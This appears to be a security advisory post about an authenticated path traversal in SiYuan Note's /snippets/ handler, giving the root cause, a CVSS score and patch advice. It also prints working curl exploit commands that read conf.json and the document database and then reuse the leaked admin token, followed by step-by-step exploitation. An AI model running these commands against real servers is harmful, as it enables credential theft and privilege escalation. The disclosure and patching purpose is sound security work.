Listen to this Post
The vulnerability resides in the `/snippets/filepath` route handler (serveSnippets in kernel/server/serve.go). Unlike sibling handlers (/export/, /appearance/, /assets/) that enforce `IsSubPath` containment and `IsSensitivePath` denylists, `serveSnippets` performs a raw `filepath.Join(util.SnippetsPath, filePath)` on the single‑decoded request path, then serves the result with c.File(). No path‑cleaning middleware intercepts `..` sequences because gin’s default `UnescapePathValues` decodes `%2e%2e` to literal `..` before the handler sees it, and the global middleware chain (concurrency, timing, recover, CORS, JWT, gzip, sessions) does not sanitize paths.
The handler first strips `/snippets/` from c.Request.URL.Path, yielding an attacker‑controlled suffix (e.g., ../../conf/conf.json). It then checks if the user is non‑admin; if so, it blocks only an exact literal match of `”conf.json”` – but with traversal the value is "../../conf/conf.json", so the guard is bypassed. Next, it iterates over configured snippets from model.LoadSnippets(); a traversal string does not match any valid snippet name/extension, so execution falls through to the filesystem branch. There, `filepath.Join(util.SnippetsPath, filePath)` resolves `WorkspaceDir/data/snippets/../../conf/conf.json` to `WorkspaceDir/conf/conf.json` because Go’s `Clean` normalises the `..` segments. No `IsSubPath` check verifies that the resolved path still lies within util.SnippetsPath, and no `IsSensitivePath` denylist prevents access to sensitive files.
The workspace layout (from kernel/util/working.go) is fixed: util.SnippetsPath = WorkspaceDir/data/snippets. Climbing out two levels reaches `WorkspaceDir/conf/conf.json` (kernel API token, AccessAuthCode, cookie signing material) and `WorkspaceDir/temp/siyuan.db` (full SQLite document database). With deeper traversal, e.g., %2e%2e/%2e%2e/%2e%2e/etc/passwd, the handler serves any file the OS permissions allow, escaping the workspace entirely.
The route is gated only by `model.CheckAuth` – any authenticated user (including non‑admin roles like RoleEditor, RoleReader, or access‑auth‑code login) can reach it. The handler’s own admin‑role branch confirms non‑admin reachability, but its literal `”conf.json”` match is trivially bypassed by the traversal payload. Thus, a low‑privilege authenticated attacker (PR:L) can read secrets that escalate to full kernel‑admin API control (via the leaked admin token) and exfiltrate all note content. The kernel HTTP server is network‑accessible (AV:N), making this a remote, authenticated path traversal.
This issue is distinct from prior CVEs: CVE‑2026‑30869 and CVE‑2026‑41894 (double‑encode bypass in /export/) and GHSA‑p4m3‑mgmm‑c664 (/assets/) were endpoint‑scoped fixes that never touched serveSnippets. The new handler requires only single encoding, has no containment check to bypass, and reaches the same critical secret file. A secondary, admin‑only endpoint (/repo/diff/path) shares the same bare `filepath.Join` without containment, but its admin‑only guard reduces severity.
DailyCVE Form:
Platform: SiYuan Note
Version: v3.6.5, master
Vulnerability : Path Traversal
Severity: High (7.7)
date: 2026‑09‑02
Prediction: 90 days after
What Undercode Say:
Authenticate with a valid session or API token (replace <token>)
TOKEN="<your_api_token>"
Leak conf.json (API token + AccessAuthCode)
curl -k -H "Authorization: Token ${TOKEN}" \
"https://target/snippets/%2e%2e/%2e%2e/conf/conf.json"
Leak the entire document database
curl -k -H "Authorization: Token ${TOKEN}" \
"https://target/snippets/%2e%2e/%2e%2e/temp/siyuan.db"
Escalate: use leaked admin token from conf.json to call any kernel API
ADMIN_TOKEN=$(curl -k -s -H "Authorization: Token ${TOKEN}" \
"https://target/snippets/%2e%2e/%2e%2e/conf/conf.json" | jq -r '.token')
curl -k -H "Authorization: Token ${ADMIN_TOKEN}" \
"https://target/api/admin/system/info"
Exploit: (Educational Purposes!)
- Obtain any valid authenticated session (login via web UI, valid API token, or access‑auth‑code).
- Send a `GET` request to `/snippets/%2e%2e/%2e%2e/conf/conf.json` – single‑encoded `%2e%2e` becomes `..` after net/http decoding.
- The handler strips
/snippets/, yielding../../conf/conf.json; non‑admin check only matches literal"conf.json", so bypass. - No snippet name/extension matches; `filepath.Join` cleans to
WorkspaceDir/conf/conf.json.
5. `c.File()` streams the file; response contains the full secret JSON. - Use the extracted admin API token to authenticate as admin and perform arbitrary kernel API calls (e.g., modify settings, execute system commands via admin endpoints if chained).
Protection: from this CVE
- Add the same containment primitive used in
serveExport/serveAppearance: after resolvingfullPath := filepath.Join(util.SnippetsPath, filePath), reject if!gulu.File.IsSubPath(util.SnippetsPath, fullPath). - Apply `util.IsSensitivePath(fullPath)` to block
conf.json,siyuan.db, and other sensitive patterns. - Apply identical containment to the admin‑only `/repo/diff/path` handler (
serveRepoDiff) as a hardening measure. - Upgrade to a patched version once SiYuan ships the fix (coordination in progress).
Impact:
Authenticated non‑admin (PR:L) arbitrary file read of workspace secrets (conf/conf.json → API token & AccessAuthCode) and the full document database (siyuan.db), plus any host file outside the workspace via deeper traversal. Leaking `conf.json` enables immediate escalation to full kernel‑admin API control, potentially leading to remote code execution via admin‑privileged endpoints. CVSS v3.1 7.7 (High) with scope changed (S:C) due to sensitive credential exposure.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

